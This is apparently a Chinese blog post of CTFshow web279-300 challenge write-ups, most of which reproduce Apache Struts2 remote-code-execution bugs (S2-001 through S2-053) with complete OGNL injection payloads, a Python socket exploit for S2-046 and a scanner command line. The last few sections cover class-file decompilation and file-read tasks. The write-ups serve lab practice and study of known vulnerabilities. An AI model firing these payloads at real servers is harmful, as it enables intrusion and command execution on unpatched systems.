主頁 >  其他 > CTFshow刷題日記-WEB-JAVA(web279-300)Struts2全漏洞復現,Java漏洞復現

CTFshow刷題日記-WEB-JAVA(web279-300)Struts2全漏洞復現,Java漏洞復現

2021-10-13 07:36:58 其他

全部題都是struts2框架漏洞

Struts2是用Java語言撰寫的一個基于MVC設計模式的Web應用框架

關于struts2漏洞,vulhub都有環境并且給出了漏洞原理和poc

GitHub專案地址:https://github.com/vulhub/vulhub/tree/master/struts2

判斷網站是否基于Struts2的方法鏈接

  • 通過頁面回顯的錯誤訊息來判斷,頁面不回顯錯誤訊息時則無效
  • 通過網頁后綴來判斷,如.do .action,有可能不準
    • 如果組態檔中常數extension的值以逗號結尾或者有空值,指明了action可以不帶后綴,那么不帶后綴的uri也可能是struts2框架搭建的
    • 如果使用Struts2的rest插件,其默認的struts-plugin.xml指定的請求后綴為xhtml,xml和json
  • 判斷 /struts/webconsole.html 是否存在來進行判斷,需要 devMode 為 true

web279-S2-001

提示:echo FLAG

image-20210929193723736

s2-001是一個struts2命令執行漏洞編號,這篇文章給了詳細介紹鏈接

漏洞原理

struts2漏洞 S2-001是當用戶提交表單資料且驗證失敗時,服務器使用OGNL運算式決議用戶先前提交的引數值,%{value}并重新填充相應的表單資料

1

加法運算式%{1+1}成功執行

了解下OGNL運算式中三個符號 %,#,$ 的含義

  • %的用途是在標志的屬性為字串型別時,計算OGNL運算式%{}中的值
  • #的用途訪主要是訪問非根物件屬性,因為Struts 2中值堆疊被視為根物件,所以訪問其他非根物件時,需要加#前綴才可以呼叫
  • $主要是在Struts 2組態檔中,參考OGNL運算式

payload

// 獲取tomcat路徑
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

// 獲取web路徑
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

// 命令執行 env,flag就在其中
password=%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}&username=1

利用工具也可以

具體使用方法readme.md

檢查漏洞

image-20210929210018042

執行命令

python .\Struts2Scan.py -u http://d6dc977e-f251-4e90-b943-cc51fc1323ff.challenge.ctf.show:8080/S2-001/login.action -n S2-001 --exec
>>> env

既然是學習就要不只是簡單的用下工具,所以后邊的題目我也會一個個分析

web280-S2-005

image-20210929211321269

漏洞原理

先來了解下S2-003

Struts2將HTTP的每個引數名決議為ognl陳述句執行,而ognl運算式是通過#來訪問struts的物件,Struts2框架雖然過濾了#來進行過濾,但是可以通過unicode編碼(u0023)或8進制(43)繞過了安全限制,達到代碼執行的效果

影響版本:Struts 2.0.0 - Struts 2.0.11.2

再看S2-005,參考鏈接

S2-005和S2-003的原理是類似的,因為官方在修補S2-003不全面,導致用戶可以繞過官方的安全配置(禁止靜態方法呼叫和類方法執行),再次造成的漏洞,可以說是升級版的S2-005是升級版的S2-003

影響版本:Struts 2.0.0 - Struts 2.1.8.1

poc

?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023mycmd\u003d\'ifconfig\'')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla))

但是poc沒有攻擊成功

工具提示存在016,挺離譜的

image-20210929215249142

web281-S2-007

漏洞原理

當配置了驗證規則 <ActionName>-validation.xml 時,若型別驗證轉換出錯,后端默認會將用戶提交的表單值通過字串拼接,然后執行一次 OGNL 運算式決議并回傳

影響版本:Struts2 2.0.0 - Struts2 2.2.3

執行任意代碼poc

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '

傳入可以利用的輸入框(age)

1

可以看出 age 框執行了命令

web282-S2-008

漏洞原理

S2-008 涉及多個漏洞,Cookie 攔截器錯誤配置可造成 OGNL 運算式執行,但是由于大多 Web 容器(如 Tomcat)對 Cookie 名稱都有字符限制,一些關鍵字符無法使用使得這個點顯得比較雞肋,另一個比較雞肋的點就是在 struts2 應用開啟 devMode 模式后會有多個除錯介面能夠直接查看物件資訊或直接執行命令,正如 kxlzx 所提這種情況在生產環境中幾乎不可能存在,因此就變得很雞肋的,但我認為也不是絕對的,萬一被黑了專門丟了一個開啟了 debug 模式的應用到服務器上作為后門也是有可能的

影響版本:Struts 2.1.0 - Struts 2.3.1

姿勢1

雖然在struts2沒有對惡意代碼進行限制,但是java的webserver(Tomcat),對cookie的名稱有較多限制,在傳入struts2之前就被處理,從而較為雞肋

Cookie:('#_memberAccess.setAllowStaticMethodAccess(true)')(1)(2)=Aluvion; ('@java.lang.Runtime@getRuntime().exec("calc")')(1)(2)=Twings;

沒有測驗成功

姿勢2

開啟了除錯模式,但是除錯模式中存在 OGNL 運算式注入漏洞

devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27env%27%29.getInputStream%28%29%29)

image-20210929223150443

web283-S2-009

提示:Struts2 showcase遠程代碼執行漏洞

截圖混個臉熟

測驗環境是一個struts2的“功能展示”網站Struts Showcase,代碼很多,我們的目標是去找一個接受了引數,引數型別是string的action

image-20210929223833464

漏洞原理

這個漏洞再次來源于s2-003、s2-005

參考Struts2漏洞分析之Ognl運算式特性引發的新思路,文中說到,該引入ognl的方法不光可能出現在這個漏洞中,也可能出現在其他java應用中

Struts2對s2-003的修復方法是禁止靜態方法呼叫,在s2-005中可直接通過OGNL繞過該限制,對于#號,同樣使用編碼\u0023\43進行繞過;于是Struts2對s2-005的修復方法是禁止\等特殊符號,使用戶不能提交反斜線

但是,如果當前action中接受了某個引數example,這個引數將進入OGNL的背景關系,所以,我們可以將OGNL運算式放在example引數中,然后使用/helloword.acton?example=<OGNL statement>&(example)('xxx')=1的方法來執行它,從而繞過官方對#\等特殊字符的防御

通過Struts2框架中ParametersInterceptor攔截器只檢查傳入的引數名而不檢查引數值的方式進行構造OGNL運算式從而造成代碼執行

影響版本:Struts 2.0.0 - Struts 2.3.1

http://your-ip:8080/ajax/example5.action即可訪問該控制器

payload

ip/ajax/example5.action?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27whoami%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]

image-20210929225411631

下載example5.action檔案,用記事本打開

image-20210929225600660

將命令替換成 env 即可得到 flag

web284-S2-012

由url可以得知漏洞是S2-012

漏洞原理

如果在配置 Action 中 Result 時使用了重定向型別,并且還使用 ${param_name} 作為重定向變數,例如:

<package name="S2-012" extends="struts-default">
    <action name="user" class="com.demo.action.UserAction">
        <result name="redirect" type="redirect">/index.jsp?name=${name}</result>
        <result name="input">/index.jsp</result>
        <result name="success">/index.jsp</result>
    </action>
</package>

這里 UserAction 中定義有一個 name 變數,當觸發 redirect 型別回傳時,Struts2 獲取使用 ${name} 獲取其值,在這個程序中會對 name 引數的值執行 OGNL 運算式決議,從而可以插入任意 OGNL 運算式導致命令執行

影響版本: 2.1.0 - 2.3.13

poc

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

1

web285-S2-013

漏洞原理

Struts2 標簽中 <s:a><s:url> 都包含一個 includeParams 屬性,其值可設定為 none,get 或 all,參考官方其對應意義如下:

  1. none - 鏈接不包含請求的任意引數值(默認)
  2. get - 鏈接只包含 GET 請求中的引數和其值
  3. all - 鏈接包含 GET 和 POST 所有引數和其值

<s:a>用來顯示一個超鏈接,當includeParams=all的時候,會將本次請求的GET和POST引數都放在URL的GET引數上,在放置引數的程序中會將引數進行OGNL渲染,造成任意命令執行漏洞

影響版本:2.0.0 - 2.3.14.1

poc

${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())}

// 或

${#_memberAccess["allowStaticMethodAccess"]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}

訪問

/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D

可以執行執行命令

image-20210930222133547

S2-014 是對 S2-013 修復的加強,在 S2-013 修復的代碼中忽略了 ${ognl_exp} OGNL 運算式執行的方式,因此 S2-014 是對其的補丁加強

poc

http://localhost:8080/S2-013/link.action?xxxx=%24%7B%28%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%29%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29%28@java.lang.Runtime@getRuntime%28%29.exec%28%22open%20%2fApplications%2fCalculator.app%22%29%29%7D

web286-S2-015

漏洞原理

漏洞產生于配置了 Action 通配符 *,并將其作為動態值時,決議時會將其內容執行 OGNL 運算式,例如:

<package name="S2-015" extends="struts-default">
    <action name="*" class="com.demo.action.PageAction">
        <result>/{1}.jsp</result>
    </action>
</package>

上述配置能讓我們訪問 name.action 時使用 name.jsp 來渲染頁面,但是在提取 name 并決議時,對其執行了 OGNL 運算式決議,所以導致命令執行,在實踐復現的時候發現,由于 name 值的位置比較特殊,一些特殊的字符如 / " \ 都無法使用(轉義也不行),所以在利用該點進行遠程命令執行時一些帶有路徑的命令可能無法執行成功

還有需要說明的就是在 Struts 2.3.14.1 - Struts 2.3.14.2 的更新內容中,洗掉了 SecurityMemberAccess 類中的 setAllowStaticMethodAccess 方法,因此在 2.3.14.2 版本以后都不能直接通過 #_memberAccess['allowStaticMethodAccess']=true 來修改其值達到重獲靜態方法呼叫的能力

影響版本: 2.0.0 - 2.3.14.2

測驗漏洞

image-20211001211443226

poc

${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()),#q}.action

url編碼發送

%24%7b%23%63%6f%6e%74%65%78%74%5b%27%78%77%6f%72%6b%2e%4d%65%74%68%6f%64%41%63%63%65%73%73%6f%72%2e%64%65%6e%79%4d%65%74%68%6f%64%45%78%65%63%75%74%69%6f%6e%27%5d%3d%66%61%6c%73%65%2c%23%6d%3d%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%2e%67%65%74%43%6c%61%73%73%28%29%2e%67%65%74%44%65%63%6c%61%72%65%64%46%69%65%6c%64%28%27%61%6c%6c%6f%77%53%74%61%74%69%63%4d%65%74%68%6f%64%41%63%63%65%73%73%27%29%2c%23%6d%2e%73%65%74%41%63%63%65%73%73%69%62%6c%65%28%74%72%75%65%29%2c%23%6d%2e%73%65%74%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%2c%74%72%75%65%29%2c%23%71%3d%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%74%6f%53%74%72%69%6e%67%28%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%69%64%27%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%2c%23%71%7d%2e%61%63%74%69%6f%6e

image-20211001211316832

web287-S2-016

image-20211001213145519

漏洞原理

在struts2中,DefaultActionMapper類支持以"action:"、“redirect:”、"redirectAction:"作為導航或是重定向前綴,但是這些前綴后面同時可以跟OGNL運算式,由于struts2沒有對這些前綴做過濾,導致利用OGNL運算式呼叫java靜態方法執行任意系統命令

所以,訪問http://your-ip:8080/index.action?redirect:OGNL運算式即可執行OGNL運算式

影響版本: 2.0.0 - 2.3.15

poc

執行命令

redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("uname -a").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}

需要將冒號后邊的內容url編碼,去除特殊字符,執行命令后下載檔案

web288-S2-019

漏洞原理

動態方法呼叫的默認啟用,原理類似于s2-008

Apache Struts 2的“Dynamic Method Invocation”機制是默認開啟的,僅提醒用戶如果可能的情況下關閉此機制,這樣就存在遠程代碼執行漏洞,遠程攻擊者可利用此漏洞在受影回應用背景關系中執行任意代碼

poc

?debug=command&expression=#a=(new java.lang.ProcessBuilder('id')).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#out=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#out.getWriter().println(new java.lang.String(#e)),#out.getWriter().flush(),#out.getWriter().close()
// 利用是先進行url編碼    

與s2-008poc區別不同的僅僅是由原先的[“allowStaticMethodAccess”]=true靜態方法執行改為(new java.lang.ProcessBuilder(‘id’)).start(),但該方法在虛空浪子心提出s2-012后不久就在博客里說明了官方修補方案將allowStaticMethodAccess取消了后的替補方法就是使用ava.lang.ProcessBuilder

影響版本:Struts 2.0.0 - Struts 2.3.15.1

web289-S2-029

image-20211001214629649

漏洞原理

Struts框架被強制執行時,對分配給某些標簽的屬性值進行雙重評估,因此可以傳入一個值,當一個標簽的屬性將被渲染時,該值將被再次評估

例如:代碼執行程序大致為先嘗試獲取value的值,如果value為空,那么就二次解釋執行了name,并且在執行前給name加上了”%{}”,最終造成二次執行

影響版本:Struts 2.0.0 - Struts 2.3.24.1(2.3.20.3除外)

poc

default.action?message=(%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess']=true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23_memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()))

image-20211001215736563

web290-S2-032

漏洞原理

Struts2在開啟了動態方法呼叫(Dynamic Method Invocation)的情況下,可以使用method:<name>的方式來呼叫名字是<name>的方法,而這個方法名將會進行OGNL運算式計算,導致遠程命令執行漏洞

影響版本: Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)

poc

?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id

image-20211001220426810

web291-S2-033

漏洞原理

當開啟動態方法呼叫,并且同時使用了Strut2 REST Plugin插件時,使用“!”運算子呼叫動態方法可能執行ognl運算式,導致代碼執行

影響版本:Struts 2.3.20 – Struts 2.3.28 (不包括 2.3.20.3和 2.3.24.3)

/orders/4/%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23xx%3d123,%23rs%3d@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()),%23wr%3d%23context[%23parameters.obj[0]].getWriter(),%23wr.print(%23rs),%23wr.close(),%23xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=2908&command=id

image-20211001222414692

web292-S2-037

漏洞原理

當使用REST插件啟用動態方法呼叫時,可以傳遞可用于在服務器端執行任意代碼的惡意運算式

影響版本:Struts 2.3.20 - Struts Struts 2.3.28(2.3.20.3和2.3.24.3除外)

poc

/orders/3/%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23xx%3d123,%23rs%3d@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()),%23wr%3d%23context[%23parameters.obj[0]].getWriter(),%23wr.print(%23rs),%23wr.close(),%23xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=2908&command=whoami

web293-S2-045

漏洞原理

在使用基于Jakarta插件的檔案上傳功能時,有可能存在遠程命令執行,導致系統被黑客入侵
惡意用戶可在上傳檔案時通過修改HTTP請求頭中的Content-Type值來觸發該漏洞,進而執行系統命令

影響版本:Struts 2.3.5 – Struts 2.3.31 Struts 2.5 – Struts 2.5.10

Content-Type: "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" boundary=----WebKitFormBoundaryXx80aU0pu6vrsV3z

image-20211001223514494

web294-S2-046

漏洞原理

image-20211001223848780

與s2-045類似,但是輸入點在檔案上傳的filename值位置,并需要使用\x00截斷

影響版本:Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10

由于需要發送畸形資料包,簡單使用原生socket撰寫payload

import socket

q = b'''------WebKitFormBoundaryXd004BVJN9pBYBL2
Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test',233*233)}\x00b"
Content-Type: text/plain

foo
------WebKitFormBoundaryXd004BVJN9pBYBL2--'''.replace(b'\n', b'\r\n')
p = b'''POST / HTTP/1.1
Host: localhost:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,es;q=0.6
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXd004BVJN9pBYBL2
Content-Length: %d

'''.replace(b'\n', b'\r\n') % (len(q), )

with socket.create_connection(('your-ip', '8080'), timeout=5) as conn:
    conn.send(p + q)
    print(conn.recv(10240).decode())

web295-S2-048

image-20211001224109368

漏洞原理

漏洞主要問題出在struts2-struts1-plugin這個插件包上,這個庫的主要作用就是將struts1的action封裝成struts2的action以便它能在strut2上運行使用
而由于struts2-struts1-plugin 包中的 “Struts1Action.java” 中的 execute 函式可以呼叫 getText() 函式,這個函式剛好又能執行OGNL運算式,同時這個 getText() 的 引數輸入點,又可以被用戶直接進行控制,如果這個點被惡意攻擊者所控制,就可以構造惡意執行代碼,從而實作一個RCE攻擊

影響版本: 2.0.0 - 2.3.32

點擊struts 1 lntegration

image-20211001224409232

以第一個引數為攻擊點,在其執行OGNL語法,${10-7},點擊submit

image-20211001224508795

image-20211001224600729

借用S2-045的沙盒繞過方法,改了一個POC,將如下POC填入表單Gengster Name中,提交即可直接回顯命令執行的結果

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}

image-20211001224916569

也可以使用s2-045poc,抓包修改content-type

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

web296-S2-052

漏洞原理

Struts2-Rest-Plugin是讓Struts2能夠實作Restful API的一個插件,其根據Content-Type或URI擴展名來判斷用戶傳入的資料包型別,有如下映射表:

擴展名Content-Type決議方法
xmlapplication/xmlxstream
jsonapplication/jsonjsonlib或jackson(可選)
xhtmlapplication/xhtml+xml
application/x-www-form-urlencoded
multipart/form-data

jsonlib無法引入任意物件,而xstream在默認情況下是可以引入任意物件的(針對1.5.x以前的版本),方法就是直接通過xml的tag name指定需要實體化的類名:

<classname></classname>
//或者
<paramname class="classname"></paramname>

所以,我們可以通過反序列化引入任意類造成遠程命令執行漏洞,只需要找到一個在Struts2庫中適用的gedget

影響版本:Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12

https://github.com/vulhub/vulhub/blob/master/struts2/s2-052/README.zh-cn.md

web297-S2-053

漏洞原理

Struts2在使用Freemarker模板引擎的時候,同時允許決議OGNL運算式,導致用戶輸入的資料本身不會被OGNL決議,但由于被Freemarker決議一次后變成離開一個運算式,被OGNL決議第二次,導致任意命令執行漏洞

poc

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

image-20211002101331400

web298-反編譯

提示:看看代碼,了解下和php不一樣的地方

題目附件一個war包

jar包和war包都可以看成壓縮檔案,都可以用解壓軟體打開,jar包和war包都是為了專案的部署和發布,通常在打包部署的時候,會在里面加上部署的相關資訊,這個打包實際上就是把代碼和依賴的東西壓縮在一起,變成后綴名為.jar和.war的檔案,就是我們說的jar包和war包,但是這個“壓縮包”可以被編譯器直接使用,把war包放在tomcat目錄的webapp下,tomcat服務器在啟動的時候可以直接使用這個war包,通常tomcat的做法是解壓,編譯里面的代碼,所以當檔案很多的時候,tomcat的啟動會很慢,

jar包和war包的區別:jar包是java打的包,war包可以理解為javaweb打的包,這樣會比較好記,jar包中只是用java來寫的專案打包來的,里面只有編譯后的class和一些部署檔案,而war包里面的東西就全了,包括寫的代碼編譯成的class檔案,依賴的包,組態檔,所有的網站頁面,包括html,jsp等等,一個war包可以理解為是一個web專案,里面是專案的所有東西,

使用工具Java decompiler反編譯class檔案

在loginServlet.class檔案中存在輸出flag

image-20211002102926161

查看getVipStatus函式

image-20211002103004671

payload

/ctfshow/login?username=admin&password=ctfshow

image-20211002103041836

web299-檔案讀取

查看源代碼,發現檔案指標

image-20211002103816468

并且可以讀取檔案

image-20211002103855249

去讀WEB-INF/web.xml,發現存在con.ctfshow.servlet.GetFlag

image-20211002104003042

讀取WEB-INF/classes/com/ctfshow/servlet/GetFlag.class,因為是class檔案字符有點亂,發現fl3g

image-20211002104336418

image-20211002104428105

web300-檔案讀取

和上題一樣 找到的flag叫f1bg

補充:以上題目中缺少三個struts2漏洞

image-20211002104709960

因為是第一次了解關于Java漏洞,所以只是簡單的做了漏洞復現而沒有具體分析,Java開發知識還是欠缺,很多內容之前都沒接觸過,加油,繼續努力

web300-檔案讀取

和上題一樣 找到的flag叫f1bg

補充:以上題目中缺少三個struts2漏洞

image-20211002104709960
因為是第一次了解關于Java漏洞,所以只是簡單的做了漏洞復現而沒有具體分析,Java開發知識還是欠缺,很多內容之前都沒接觸過,加油,繼續努力

附錄:

  • 推薦閱讀

    https://www.freebuf.com/vuls/229080.html

    https://www.jianshu.com/p/356291fb26a2

  • poc大全

    https://github.com/vulhub/vulhub/tree/master/struts2

  • 漏洞利用工具

    https://github.com/HatBoy/Struts2-Scan

  • 判斷struts2版本方法

    https://www.sinesafe.com/article/20170711/struts2loudong.html

  • Struts2版本對應漏洞

    https://struts.apache.org/releases.html

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/310507.html

標籤:其他

上一篇:【代理池工具撰寫】只有無盡的跳轉,沒有封禁的IP!

下一篇:【安全實戰】紅隊攻防技術

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種:三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看,三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看,三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統,“2”分為 ......

